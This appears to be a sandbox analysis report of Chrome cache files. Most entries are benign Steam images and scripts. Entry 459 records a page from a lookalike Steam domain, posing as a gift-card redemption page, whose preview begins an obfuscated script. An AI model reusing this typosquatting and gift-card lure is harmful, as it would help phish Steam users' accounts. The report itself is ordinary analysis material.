.+.,cpsp..cpsp..cpsp..cpsp..cpsp."cpsp.(cpsp..cpsp.4cpsp.:cpsp.@cpsp.Fkern.Lkern.Tkern.\kern.dkern.lkern.tkern.\|kern..kern..kern..kern..mark..mark..mark..mark..mark..mark..mark..mark..mark..mark..mark..mkmk..mkmk..mkmk..mkmk..mkmk..mkmk..mkmk."mkmk.,mkmk.6mkmk.@mkmk.J..................................................................................................................................

Chrome Cache Entry: 449

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1667), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	18486
Entropy (8bit):	5.5236584552330745
Encrypted:	false
SSDEEP:	384:QwtVMAjYb2JalUNlpczHK7DYiHiEiN/mm+pqOw6GNNZhweP8/G:QmS6FJJNzczHK7DFHix/T+pqOwlNzv
MD5:	B730C2B64C5E23E7B97343A43BE0EAE9
SHA1:	1451A3BEE6B72FB0BD049CB8B84CC5FAF20AE598
SHA-256:	4EC40EBE11519D62A8C62FF92266FFA860A7C38259DC113D819CE91E083BEE49
SHA-512:	D2E451FC4CA0F0FAED06E9B05281FD07BE2C3D2641160F5662D3ADAAB0026EB6CD70E7E6F093178A70C656E368E958FA6F93DEEAE59C7F7E142437B27BF99584
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/css/shared_responsive.css?v=tzDCtkxeI-e5&l=english
Preview:	...responsive_page_frame {...position: relative;..}....body.movescrolltocontent .responsive_page_frame {...position: fixed;...top: 0;...right: 0;...bottom: 0;...left: 0;...overflow: auto;..}....body.overflow_hidden,..body.overflow_hidden .responsive_page_frame {...overflow: hidden;...position: relative;..}....html.responsive {...height: 100%;..}....html.responsive body {...min-height: 100%;...height: auto;...position: relative;..}....html.responsive body.movescrolltocontent {...position: fixed;...top: 0;...right: 0;...bottom: 0;...left: 0;..}.....responsive_page_content {..}.....partner_events .responsive_page_content {.. height: 100vh;..}.....responsive_page_menu_ctn {...position: fixed;...top: 0;...bottom: 0;...overflow: hidden;.....background: black;.....z-index: 30;...width: 280px;..}.....responsive_page_frame:not(.in_menu_drag) .responsive_page_menu_ctn {...transition: left 0.5s, right 0.5s;..}.....responsive_page_menu_ctn.mainmenu {...left: -280px;..}.....responsive_page_menu_

Chrome Cache Entry: 450

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 554 x 271, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	202593
Entropy (8bit):	7.996848192202674
Encrypted:	true
SSDEEP:	3072:9RJJ+0NcfaVXHbin/ENV96H7aZ4CQwYiGVjrS2lAbl6JXKT8fNRjFLTlz8CJ:mtnso7e4CFYiGVi1bl6YT8fdZTJ
MD5:	88319D4D76E896A40C655D3F62EFB104
SHA1:	AF044A1B235CECFC9A551EA124E76A82FB6D21A9
SHA-256:	88D4D1C9BD11D30037635C8496A5F253EA440174D20C81FD227F60CC33E12D65
SHA-512:	76224F95B6F0B8CE783B7ED7D1BC7F0CFFACBF668E4B6D53D390DD0E1847F8F1A4F624A5B66102E72EABA3425DCD05637F178A028BD6A4E869C0D7BE1766DE57
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/images/mobile/steam_link_example.png
Preview:	.PNG........IHDR............l......pHYs.................sRGB.........gAMA......a.....IDATx.......u.......}.{=.@71...... )q.Iq.%Sf YJ.I.,...;.D6].4R.$.TJ.D..XQY.D.bhJ.hQ"E..I.........4....o~....a.....&.$......{...o....3..p\..........0.{...~.......}.q.]g;Q...p!.E..~....7...y.J.......5~.2.......8O@.4.;.E.+.,m.....h..."...w.!.A..-.!.l;.....W(.NL....xQ.......#DI....{j.L..D.o.....:..f>\.F.[.&. ...9.\.G4,H...!c...G...*..D..N..z.u:..$.....0...rmL...n.T(..p;m&._([W.U..n..0.Q.AE.%q..8F.qQ....Ov.........$+Q.I....3i..I.M6.~V]..j.....d....d./.9..9.n.u:...z."......T..<l.Bg.O..`9.w,.d..(k[<K.C.......+..4K....f.W.".L/S.y..e8.../BY...%L....6\g...L.}../....Y.j....._.K.......?7].7...v...@....#A.L..%..H....T..L...V@.fD<..P.D..O{..8. ..Gi.....J+..2.xsa#...`....&.D[..z.......t... I..Y..v.......B.f..V&S6d.tt...$.:S.....r`uh.m....@..........J..M.g.6.].<..~ .4;K..T.f."..{.p..Q..Z..-..A..]..z~.zH2m,...........P.-k.i...J[<1eP.....h&`Xhs.f..3.,..Ksp......_.,N...\.&v.J....).F.

Chrome Cache Entry: 451

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 30 x 30, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1213
Entropy (8bit):	7.7842557765994975
Encrypted:	false
SSDEEP:	24:w/6cYW7BnecJjySaePLV9jHFMVHqAQw0hPtaElGb4RhMbEoEq5n/xE:w/6a7BESPzrjH+9qAUl04wfE4n/xE
MD5:	648BD4BAA41A25DB3A6B3D9FC219301D
SHA1:	6B86B2D39C39C99DC3C1449CD15486EAFFF24ED3
SHA-256:	AD4D8A190B5C132245EAB0FCC05D8E363D11FFE34B09E48568FF2499F5B99793
SHA-512:	C16DE7711D99E71F34011F709CEDC3C27AC808182DC9682905B5C75825450DC7676057A3A7BD018AA293869920F13C98BAC91092A23C35341C8B2288ACBBCEB9
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/images/mobile/steam_mobile_icon.png
Preview:	.PNG........IHDR.............;0......pHYs.................sRGB.........gAMA......a....RIDATx..WmLSW.~n).....2>Dt.%`G..."j..>.#.1..>..Lf...M..h.f.d.tY....H..1..4.[b;.&.a.)..W....g.^... ..<..s....y.9..s..........2Z......,[>T.R.t..]V...1.)..D. ..J....L.......:.D....Rf....2...e......0...Ic......cj.....I1...t...S7.F.v!..'.....2\|........z.~..]....<...........0m._>.......89"^.....1.`.).O.v...A.aK!L&..`owT........................u..\.......f.t..X......k.......g.[......"..\|.Zl.........../...\|...j...YP7..2......ui.......3.\..J..Q=..-l.\.i....M.:.............S...0..+-..Z5....5.=.1.A>....a..~m3.w=3S...6..).X$./.ab........g.op..."c.eYr...N...z..O..Ri..\|<..{uC(....T]t.........._T....E,.p..L..(......0:v............h.%gp....s3.ipM?.W.x.eH.\..-.........06.....D...(=....ym.......u."2<...&X...V...U.S........'.i..G..Z.whq....?.\...W..v..8T7..v..#$...>..v<$b$o.E.BE.....h....w.CI.....:..*l....~..M..........$Z............,.Q@X..T..@.._`cB..J.U..j....v.-...........9..

Chrome Cache Entry: 452

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 439 x 170, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	22513
Entropy (8bit):	7.972372850976774
Encrypted:	false
SSDEEP:	384:mXE05G0jCZQZ1CDMpbltRByo7gVKjb2gWH4vvrSvrrBcyWh0VrS9Hzo05HOxLECN:c35G7ZGCDIzBH3b2gWNTvlX4uDpD
MD5:	4DDDFE80CE9184F5FCB77A8735791E69
SHA1:	475C4B22242AD7DCABF0E7F43E09B066D75B13AF
SHA-256:	87682460EF234C5CDD98375EEA1F03CC165947B3AEA57DEEC37D552B32BA29EC
SHA-512:	AE6C464BDA07B5FBB341A8ADBF4353ADBA197186BECDCA15AE4821592B0F35176B4869B38C43084BEE17547374A1834929FF760D8173721228DF7027DA39A464
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.....................pHYs...t...t..f.x...OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

Chrome Cache Entry: 453

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	940
Entropy (8bit):	5.026470667323779
Encrypted:	false
SSDEEP:	24:2dILxikEIZ7bMY6udPXiZpOAbM6ka60bpLZ8gUIwPU9Z:cIx9Z/H6udPylnkJqpLZh1ws9Z
MD5:	8873DE2841BAA287BD50BE1B9F183853
SHA1:	058AA5901E9FC536A560DF337439115E4071E0EC
SHA-256:	F15208EFD7D316C067ED5F70C97F0A3159861E1AE47DFD96762CFCA293B84AAB
SHA-512:	63981C8607C3B9238F778127B4E660FC88377F45674D5C026B80E6FE3EECD2C6D3E2399FC53994A45BB8FBA843742D9154B39AC98ABDD8FCE15873EF6B8E0C0F
Malicious:	false
Reputation:	low
URL:	https://cdn.akamai.steamstatic.com/store/about/icon-chromeos.svg
Preview:	<?xml version="1.0" encoding="UTF-8"?>..<svg id="Logo" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewBox="0 0 500 500">.. <defs>.. <style>.. .cls-2 {.. stroke-width: 0px;.. fill: #fff;.. }.. </style>.. </defs>.. <g>.. <g>.. <path class="cls-2" d="m250,375c-46.88,0-87.7-25.78-108.98-63.87L33.59,125C12.3,161.72.2,204.49.2,250c0,129.3,98.05,235.55,223.83,248.63l77.73-134.77c-16.02,7.23-33.4,11.13-51.76,11.13Z"/>.. <path class="cls-2" d="m250,125h216.6C423.44,50.2,342.58,0,250,0,166.99,0,93.36,40.62,47.85,102.93l77.73,134.77c6.25-63.28,59.57-112.7,124.41-112.7Z"/>.. <path class="cls-2" d="m375,250c0,22.85-6.05,44.14-16.8,62.5h0l-108.2,187.5c138.09,0,250-111.91,250-250,0-36.13-7.62-70.51-21.48-101.56h-155.66c31.45,22.66,52.15,59.77,52.15,101.56Z"/>.. </g>.. <circle class="cls-2" cx="250" cy="250" r="101.56"/>.. </g>..</svg>

Chrome Cache Entry: 454

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 3900 x 2550, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	2916320
Entropy (8bit):	7.996029453632781
Encrypted:	true
SSDEEP:	49152:9KGMHacbeYT4Q+3M2gWQZANiUloUaCodfB/I85PW0bpMGsuPIXc/:8iTY1+cVZ6loUyC85+0aGp
MD5:	EBE8E0DBDC3656F997410A7EFB3AA7E1
SHA1:	4FA1301406D089FCC5D9D39A5D4D5781EC7A2B22
SHA-256:	23B5951E25775A29D989EB13476918C1A2B7A60DBA08840069E808F04D53A06B
SHA-512:	28674C976F3B22FCBD664EF24DAF2729E2309A016B3F76687737928B68171D3216D4D5BF1031C7F3E64923B0A8AEECF854B869C7D6337F0D667C932AF35721DD
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/images/mobile/localizedimages/web_hero/web_hero_english.png
Preview:	.PNG........IHDR...<.................tEXtSoftware.Adobe ImageReadyq.e<.,..IDATx....`........!7F.."PA<.......w..w.._.x.Q.z.Q@.-j.............$...0..rg..f..;...{.L..).};....7.;....,...................0...................<.................. ..m................@....................$"..................IDh....................6................$..m................H"B..................D.................. ..m................@....................$"..................IDh....................6................$..m................H"B..................D&........A.,.....@..H'.........m......j.kjw...{oYyE......kk.....vG..B.........a2.;u..s......#.w.}...B..Gu.........Dd.......J;.w...n.R.ykQ..Ct.....F......2x..!...........H B...... .$Y.\P..+........>...........2x.C..2d.A.........x.........g...m../(..RX.u;........<`..AC...1lh..D.......D..6.....H.f.e.W....vsA..n.C....v&.d:e..G.s...efd.!......:.............K.Z._Pt.........n]...2...F.w.pz...... "B...... vV...9../[Y.........@y..^r.......Fo...

Chrome Cache Entry: 455

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 16 x 16
Category:	downloaded
Size (bytes):	1278
Entropy (8bit):	6.9904915779422545
Encrypted:	false
SSDEEP:	24:+jVgXal1hQWwjx82lY2T3+VVMLoyJ3V+GGY8nLPewOd:zgzNn2KgLrJ3ZL8DdOd
MD5:	A4AD1737E878B031DE37EDF234CB1283
SHA1:	1BCDAAB7E0C225DF693E69704EB7555E120657A5
SHA-256:	B22C73A2ED7BE863D4779BBE6DB4C9D4078C453D7118C0A6F70ACAD0108A9F23
SHA-512:	973404080C1BD98492DAA385E49ED4FF53D847F09F16A18FC3BBB0EBD4FCD5A18175FC32325A2BA93A4E2C39B619070C30C1B9BCF30B37D7DD3EFECDD91018EC
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/images/ico/ico_facebook.gif
Preview:	GIF89a.......UV\........RTZ......TV\PRX........8:A\]c.....................................BDKACI...57>!..XMP DataXMP<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c001 79.a8d475349, 2023/03/23-13:05:45 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop 24.7 (Windows)" xmpMM:InstanceID="xmp.iid:95DFDEB47F2E11EE8716FE6E5DEA6C2D" xmpMM:DocumentID="xmp.did:95DFDEB57F2E11EE8716FE6E5DEA6C2D"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:95DFDEB27F2E11EE8716FE6E5DEA6C2D" stRef:documentID="xmp.did:95DFDEB37F2E11EE8716FE6E5DEA6C2D"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.............................................................................................

Chrome Cache Entry: 456

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 690 x 1398, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	256364
Entropy (8bit):	7.992281401208544
Encrypted:	true
SSDEEP:	6144:vqswArZbdG/0wtJ2xZ73xzCn7w5KXj4Lb+dqML:TJdGSxZdo0sj++V
MD5:	C825B8122182802B91860D2EE93A3673
SHA1:	E9469C6D4B1052F24F68910C558A35DD9ABCC7C5
SHA-256:	7CDB8C32814C2C3062F5B5BDE0B82B1DCA917F3D70D8F0C1F6D7163CC6EBA4F0
SHA-512:	C070BE903656E47249395C25D218244F1299F1A7F9801253E5071CD6AA84A8281932C49BF33B85FD4172EEAFD4C97BB89B0F83648540042A38DDB3FA0C0C858E
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......v.....f._.....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c006 79.164753, 2021/02/15-11:52:13 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:2de2dab8-aafd-484a-a2b7-1ccf02b6f6d9" xmpMM:DocumentID="xmp.did:BB036D2E468C11EDB387FB043C60A269" xmpMM:InstanceID="xmp.iid:BB036D2D468C11EDB387FB043C60A269" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:3d4abc37-e1c4-4542-87e7-6ceb3124c2bd" stRef:documentID="adobe:docid:photoshop:e32f5b3b-edae-344e-8ae3-b5fef5af14d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>......~IDATx....\U..

Chrome Cache Entry: 457

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (547)
Category:	dropped
Size (bytes):	469790
Entropy (8bit):	5.084911175033798
Encrypted:	false
SSDEEP:	6144:zK8SyEGdEXdujYWUl/plq/pGlgFld1HmcI48VirY7IXtu2Y5W5ZbHtQTiTXu5bgs:fljHmcI4q5W5FHttCnuJq7CjhBK1
MD5:	C811575FD210AF968E09CAA681917B9B
SHA1:	0BF0FF43044448711B33453388C3A24D99E6CC9C
SHA-256:	D2F0522008BFF05C6434E48AC8F11F7464331436A4D5D96A14A058A81A75C82E
SHA-512:	D2234D9E8DCC96BCA55FAFB83BB327F87C29AE8433FC296C48BE3EF8C9A21A0A4305E14823E75416951EECD6221F56FBBB8C89D44B244A27BE7B6BEA310F2FD1
Malicious:	false
Reputation:	low
Preview:	/! jQuery UI - v1.11.3 - 2015-02-12. http://jqueryui.com.* Includes: core.js, widget.js, mouse.js, position.js, accordion.js, autocomplete.js, button.js, datepicker.js, dialog.js, draggable.js, droppable.js, effect.js, effect-blind.js, effect-bounce.js, effect-clip.js, effect-drop.js, effect-explode.js, effect-fade.js, effect-fold.js, effect-highlight.js, effect-puff.js, effect-pulsate.js, effect-scale.js, effect-shake.js, effect-size.js, effect-slide.js, effect-transfer.js, menu.js, progressbar.js, resizable.js, selectable.js, selectmenu.js, slider.js, sortable.js, spinner.js, tabs.js, tooltip.js.* Copyright 2015 jQuery Foundation and other contributors; Licensed MIT /..(function( factory ) {..if ( typeof define === "function" && define.amd ) {....// AMD. Register as an anonymous module....define([ "jquery" ], factory );..} else {....// Browser globals...factory( jQuery );..}.}(function( $ ) {./!. * jQuery UI Core 1.11.3. * http://jqueryui.com. . Copyright jQuery Foundation and

Chrome Cache Entry: 458

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 92 x 26, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	2843
Entropy (8bit):	6.967423493204583
Encrypted:	false
SSDEEP:	48:o2/61MYLNnwknA9WpitbEsg9wlO/cHJ3z3VHi3bEs/Hc5mmDhhIZwldFWbd/9maH:/SyYRwknmWpiVbgx/mHqb/Hc5thdlubX
MD5:	41E851F8E42B6BF3414278871E93E8A2
SHA1:	A3811C7E1157F77950EC1F0558293BC90E432E82
SHA-256:	399F74C4E69EAC8B59B149293F9A573955FEF0A62B242CFA70346070013E0966
SHA-512:	F3C3549F1390B52791196E6F19584CBD4C4DB2B51FEF78C9C607C944079FED69B75E8F88594C3D647F2DDC29F282BF41BE455BE328AB27C091B4A37C41B00965
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/images/v6/logo_steam_footer.png
Preview:	.PNG........IHDR...\.........:.;)....pHYs.................iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmp:CreateDate="2019-08-09T13:37:29-07:00" xmp:ModifyDate="2020-06-17T17:39:04-07:00" xmp:MetadataDate="2020-06-17T17:39:04-07:00" xmpMM:InstanceID="xmp.iid:a6176093-d0df-1f4a-86f8-26e70acca1dd" xmpMM:DocumentID="adobe:docid:photoshop:5cf069c4-c89c-fa4c-8c00-dff9f3add583" xmpMM:OriginalDocumentID="x

Chrome Cache Entry: 459

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (15528)
Category:	downloaded
Size (bytes):	16288
Entropy (8bit):	6.027835283747254
Encrypted:	false
SSDEEP:	384:AvmQ4XVwIgjKMSUaT5vP8pFJ1f8TKhCAGn7BYCaebH/HVVkeSKBjwAHX4wjLI7yl:AvmQqwIgjKM/aT5vP8pFJ1f8TKQAGn7B
MD5:	C27E02B9E64D3A8FAFB63ACEBE7DC4FA
SHA1:	4AE0D8CAB7932D1C335008BF1C0394C560E2FDEA
SHA-256:	0B14B0A57C50AE3AA7DC2EC02313B21B401B8F6D057866FD40E58DCC42BFA1FA
SHA-512:	6E64C005B29B3D74366C4262CB024C7F72BFADA94BF4C38ECD5C75B55004084FCB3941FCF95B800FCBA95B352A1E7D06A788A75D349D35790F1B556FA062044C
Malicious:	false
Reputation:	low
URL:	https://sneamcomnnumnlty.com/hfjf748934924/geting/put
Preview:	<!DOCTYPE html><html lang=""><head>..<meta charset="utf-8">..<meta name="viewport" content="width=device-width, initial-scale=1">..<style>. html,. body {. padding: 0;. margin: 0;. height: 100vh;. width: 100vw;. overflow: hidden;. }..</style>..<title>Redeem a Steam Gift Card or Wallet Code</title>. <meta property='og:title' content='Redeem a Steam Gift Card or Wallet Code'>. <link rel='shortcut icon' href='https://steamcommunity.com/favicon.ico' type='image/x-icon'>. <meta property='og:image' content='https://store.akamai.steamstatic.com/public/shared/images/responsive/share_steam_logo.png'>.</head>.<body>.<noscript>You need to enable JavaScript to run this app.</noscript>.<script>var dcbYO6,PIDfATz,Eexfkq1,K35AGQ,QhtqHI,ryEP78y,ULmsoR0,BopZLaM,bJSoVK,lYOAmun,fm58XCn,t2DN9b,q0ebwrW,lx3dBOJ;function oxeEbI(PIDfATz){return dcbYO6[PIDfATz<0x3d?PIDfATz-0xe:PIDfATz<0x62?PIDfATz>0x62?PIDfATz+0x44:PIDfATz<0x3d?PIDfATz-0x63:PIDfATz>

Chrome Cache Entry: 460

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 244 x 212, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3777
Entropy (8bit):	7.855078020337897
Encrypted:	false
SSDEEP:	96:W5Zsk8bb6l5qnCoghGfkm37QP00rqGDXrg/sG3vUx+Iocg2fkjGfkjky:W5H8o5qe0Mu7600WiXE/v3ve+Is2MjGm
MD5:	EABC76EB57FEAE44ADD7FAEAD028521E
SHA1:	4E3E53938FAD15661D2D046A868338841A95DB19
SHA-256:	FC9E6260A2706AE146282D77E67BC1B74688435F8912AB4C1932641EEC28BFFA
SHA-512:	5C6DA6EEEFDDF321C2BC7E39A134E0A3140A9F93AD1560B2E102EF60EC218C29AAE14ED344C79E25CC5493CD15551040D8C909DE28DCAB02034D787563104E07
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.....................tEXtSoftware.Adobe ImageReadyq.e<...cIDATx..._LTg...w.i........Vmk.6X....i..F..{...^..^4Mz..6ml..nb ]....e.a....v..)...a.E.).#..>.0.3g.Kww8/..'y.g........sf.....W.2.... ...4....@......@...h... ...4....@. ....@...h... ...4....@. ....@...h......2....P^^...sVEE....r..={f.K....I...F#R...g..vN..k...%.Oj..6...h.:"...0......K.E..G..."..@.x..w.*...'."_..A...L.r....I..W........^H...Q...:;..h4j.z..8..,..a/...w.Fm.Meg.C.a.\|..w.....u.`.zM.U.=....4e...=.U.....[.h.z..j...Te.a..z...+RUR.8.N.u.INN..o?a........E...o}.#...._....Oc..=.Orr.&.!;;[=..3..q.....?H...0{.S._m.B..(.6.Rm.)...]..%....3..c..Dk.M..z.%.c..NTd...}..90..tj.v.#.L..M.t.uc.<>..3..;..:..G..9..I.....%.@.`..d....@...h.@. ...4`6...M.@'.n......I/z`5>>.K...X7Z.Z.....5.7..h+.N.h....gS...8...........@..Njj.}....'...{`...'T{....mmm'.t2....?V..=C.......=b......`\|s.@'zC.N......."..>k...M......)...}....?.r...+z.x....JTII.....4.O_....s..?>W..?.O.....`...t{...r..Z

Chrome Cache Entry: 461

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	169399
Entropy (8bit):	4.976254040069433
Encrypted:	false
SSDEEP:	1536:CZXcWblD1ySId1u6p3JuZolKvI28mGY7NIj4WT0PjXsW0NKWzcEjpPrmcGKJ/jfT:ocWblASIdIv8tXYPjkrmgD8d3dI
MD5:	6A39E0B509FECB928D47B8A2643FED2A
SHA1:	F67FA6CB1D09963D10BA117D6553C8E7D5BC7863
SHA-256:	D8BDEA7FFF893DBDBEAF6C2AFFEC091A77483B9EC10E7958486BC3B6CC170C96
SHA-512:	B9B8C6D9AC4928686C5EA254AC8F765C4F3690F79E5B1CCAAFFC48D4BD47872B9CC5475C038F70D804740C81915FDFCE315EBE553B628D12F7CA1CC4467075D0
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/javascript/prototype-1.7.js?v=.a38iP7Khdmyy
Preview:	../* Prototype JavaScript framework, version 1.7.. * (c) 2005-2010 Sam Stephenson.. .. Prototype is freely distributable under the terms of an MIT-style license... * For details, see the Prototype web site: http://www.prototypejs.org/.. .. --------------------------------------------------------------------------/....var Prototype = {.... Version: '1.7',.... Browser: (function(){.. var ua = navigator.userAgent;.. var isOpera = Object.prototype.toString.call(window.opera) == '[object Opera]';.. return {.. IE: !!window.attachEvent && !isOpera,.. Opera: isOpera,.. WebKit: ua.indexOf('AppleWebKit/') > -1,.. Gecko: ua.indexOf('Gecko') > -1 && ua.indexOf('KHTML') === -1,.. MobileSafari: /Apple.Mobile/.test(ua).. }.. })(),.... BrowserFeatures: {.. XPath: !!document.evaluate,.... SelectorsAPI: !!document.querySelector,.... ElementExtensions: (function() {.. var constructor = window.Element

Chrome Cache Entry: 462

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1180 x 645, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	101582
Entropy (8bit):	7.970123560814674
Encrypted:	false
SSDEEP:	3072:5RkTQQ4nc73gMdc+BcBLvWf9GDxUZcUXTg8UQmmX:5dQ4c73je9UDjUPs
MD5:	0307F8A611F6B99C78D9AE9DFB609364
SHA1:	F9ED2F690FC13CE9A7D04673572EB4D8FC8673E5
SHA-256:	0E11D35F8B7AA18C793A790A1C562637EBB8D61FFD842C942A2357AB1FFA5B5A
SHA-512:	EEB6C21C20E5620CF991AD9CA343137814ED23F9C0E8F3C45046448F587989CF64949947D24C29207F68ABDEB44E8AF074FA6FB81C34F60595914A299A866B74
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/images/mobile/steam_link_bg.png
Preview:	.PNG........IHDR..............'.....pHYs.................sRGB.........gAMA......a....cIDATx..}...-.q...A....>.i;.......{..B`..........H...[...6....23z.;......lTOqI..\|&.....%.j=..FrP...L.^."....)G].d...3...Y...4.....@ ..=.r+.[....z.-..\...."..2...p..Q..S..y...<Ty!.'......u.\..\..D]`.-....b../..Xs(y.z...L.(C...yyji.!.j....s.u.........J....X..2O.&..}R.......s.{...0.G...?..;.#.D6.Tv.L:=..!.2......'.2.m.63..........-...z.:).......lhrm4..I.._5...,{i...t.......Qn.3I..@ ..<.F.?...K...Y.c.2/.....X<i.K.n.,.:+.....u4....Io..h.*.U.+DVt.k.?e_.......$..w.P..^..G'...K.Cxm..v.._qo....!A.i...~.-..T.?.pR..m0.d0......#."_D\|.i+.&f0P'.RY.4\.d...H..s...p.Sz.....N...SRt....!7.'.Y..2.;2.+.d>.......OB..yn.....aG+.F.T_.A....D.A.m3.Y........XN.ls&..i.++.M.I_.Ieh....;.".\h..R.f..]...%.i$xyM.....A.....>..o.j4.L.@F..ay...e9..\|..i...N...s.......6..G.4.6..8...u.../.....~..........3.....g..F.~.D<..M..@..p.]y.....e$.....H.V...ns....#.K...v..yz3...;..."..4.(c...{.

Chrome Cache Entry: 463

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Algol 68 source, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3276
Entropy (8bit):	5.553388243206585
Encrypted:	false
SSDEEP:	96:gVRrYJuRrYJMu31/3z5SY2ZVba/vlWmij:gfrsWrsMu31/3dSY2jkl4j
MD5:	4522A2252222088E18051FC411359093
SHA1:	FBFD96E45FCFE5E7CE7F4043407499FB0E960807
SHA-256:	6F8426105449E000CC11B5C2670677F090023C11C7D65BAF4C13C10C3A829141
SHA-512:	A135534B1766CF4CC538E28D6F6EF517A946E62D0D18DB3007071F8F1B6BBE4979F2CD4501AA88019B24B039A0A02932139B8E4C31B109DB41C78A02F6595BCA
Malicious:	false
Reputation:	low
